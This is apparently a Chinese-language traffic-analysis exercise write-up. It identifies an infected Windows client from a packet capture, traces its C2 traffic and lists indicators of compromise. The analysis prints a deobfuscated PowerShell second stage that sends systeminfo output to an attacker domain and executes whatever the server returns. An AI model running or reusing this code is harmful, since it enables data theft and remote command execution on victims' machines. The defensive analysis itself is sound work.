背景信息
-
局域网段范围:10.6.13[.]0/24(从 10.6.13[.]0 到 10.6.13[.]255)
-
域名:massfriction[.]com
-
活动目录(AD)域控制器:10.6.13[.]3 - WIN-DQL4WFWJXQ4
-
AD 环境名称:MASSFRICTION
-
局域网段网关:10.6.13[.]1
-
局域网段广播地址:10.6.13[.]255
目标
1.受感染 Windows 客户端的 IP 地址是什么?
2.被感染 Windows 客户端的 MAC 地址是什么?
3.被感染 Windows 客户端的主机名是什么?
4.被感染的 Windows 客户端上的用户账户名是什么?
分析
1.
看会话,字节倒序找受感染IP,感染内网IP为10.6.13.133
2.
过滤感染主机直接看MAC,此处为24:77:03:ac:97:df
3.
过滤nbns,获取主机名为DESKTOP-5AVE44C
或者过滤kerberos找主机名

4.
同样过滤
kerberos and kerberos.CNameString and !(kerberos.CNameString contains "$")
看CNameString即为用户名,rgaines
答案
1.受感染 Windows 客户端的 IP 地址是什么?10.6.13.133
2.被感染 Windows 客户端的 MAC 地址是什么?24:77:03:ac:97:df
3.被感染 Windows 客户端的主机名是什么?DESKTOP-5AVE44C
4.被感染的 Windows 客户端上的用户账户名是什么?rgaines
拓展


过滤了感染主机的http请求,发现了104.21.24.186、104.16.231.132、104.21.112.1、104.21.16.1、217.20.51.22、23.192.223.206、23.192.223.240,分别过滤每个IP查下DNS查询



event-time-microsoft.org:104.21.24.186
varying-rentals-calgary-predict.trycloudflare.com:104.16.231.132
eventdata-microsoft.live:104.21.112.1
event-datamicrosoft.live:104.21.16.1
ctldl.windowsupdate.com:非恶意域名,忽略,217.20.51.22
www.msftconnecttest.com:非恶意域名,忽略,23.192.223.206
acroipm2.adobe.com:非恶意域名,忽略,23.192.223.240
所以接下来关注104.21.24.186、104.21.112.1、104.21.16.1、104.16.231.132
(1)104.21.24.186


追踪http流分析响应体,发现请求了一个高度混淆的 PowerShell 恶意程序,其核心行为为:拼接 Base64 片段 → 解码 → 执行第二阶段载荷,最终实现信息收集和远程命令执行。
第二阶段载荷:

# 1. 定义 C2 服务器 URL(缺少协议头,实际请求时可能使用 HTTP/HTTPS)
$c2Url = "eventdata-microsoft.live/NV4RgNEu"# 2. 收集系统信息(执行 systeminfo 并转为字符串)
$sysInfo = systeminfo | Out-String# 3. 设置 HTTP 请求的 Content-Type 为二进制流(伪装流量)
$contentType = "application/octet-stream"# 4. 动态构造 "Invoke-RestMethod" 命令(通过数字转字符)
$invokeRestMethod = [string]::join('', (73,110,118,111,107,101,45,82,101,115,116,77,101,116,104,111,100 | ForEach-Object { [char]$_ }))
# 上述数字数组对应 ASCII:I n v o k e - R e s t M e t h o d# 5. 发送 POST 请求,将系统信息作为 Body 发送,并接收服务器响应
$response = & $invokeRestMethod -Uri $c2Url -Method POST -Body $sysInfo -ContentType $contentType# 6. 动态构造 "Invoke-Expression" 命令(同样通过数字转字符)
$invokeExpression = [string]::join('', (73,110,118,111,107,101,45,69,120,112,114,101,115,115,105,111,110 | ForEach-Object { [char]$_ }))
# 对应:I n v o k e - E x p r e s s i o n# 7. 执行服务器返回的内容($response 应为 PowerShell 代码)
& $invokeExpression $response
这段代码执行 systeminfo命令获取配置,然后通过 Invoke-RestMethod 向 eventdata-microsoft.live/NV4RgNEu 发送 POST 请求,传递泄露的系统信息。
(2)104.21.112.1


这是受害ipPOST上传系统信息

响应代码很长,但和前面一样,攻击者依旧采用拼接Base64片段并解码的方式绕过过滤和检测,,获取临时目录,创建目标目录,然后从正规的php网站下载php环境下载zip包,解压到目标目录,构造POST请求到C2地址eventdata-microsoft.live/NV4RgNEu,并执行服务器返回的命令
(3)104.21.16.1&104.16.231.132

每30s一个包,三个域名轮换,windows-msgas.com ↔ event-datamicrosoft.live ↔ trycloudflare 隧道(varying-rentals-calgary-predict.trycloudflare.com),后续都是一样,除了有个/assets/Owner/arm/ProcessMAU.txt路径,响应304,无关紧要
IOC:
C2域名:event-time-microsoft.org / eventdata-microsoft.live / event-datamicrosoft.live / windows-msgas.com / dng-microsoftds.com / 两个 *.trycloudflare.com 隧道域名
C2IP:104.21.24.186, 104.21.112.1, 104.21.16.1, 104.16.230.132, 104.16.231.132, 172.67.146.241
UA特征:Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.26100.4202
通信特征:30s 固定信标间隔;URI 含 '&'+32位hex token;Content-Type:application/octet-stream
落地文件:'%APPDATA%\php\php.exe'、'%APPDATA%\php\config.cfg'、'%TEMP%\php.zip'
攻击链:
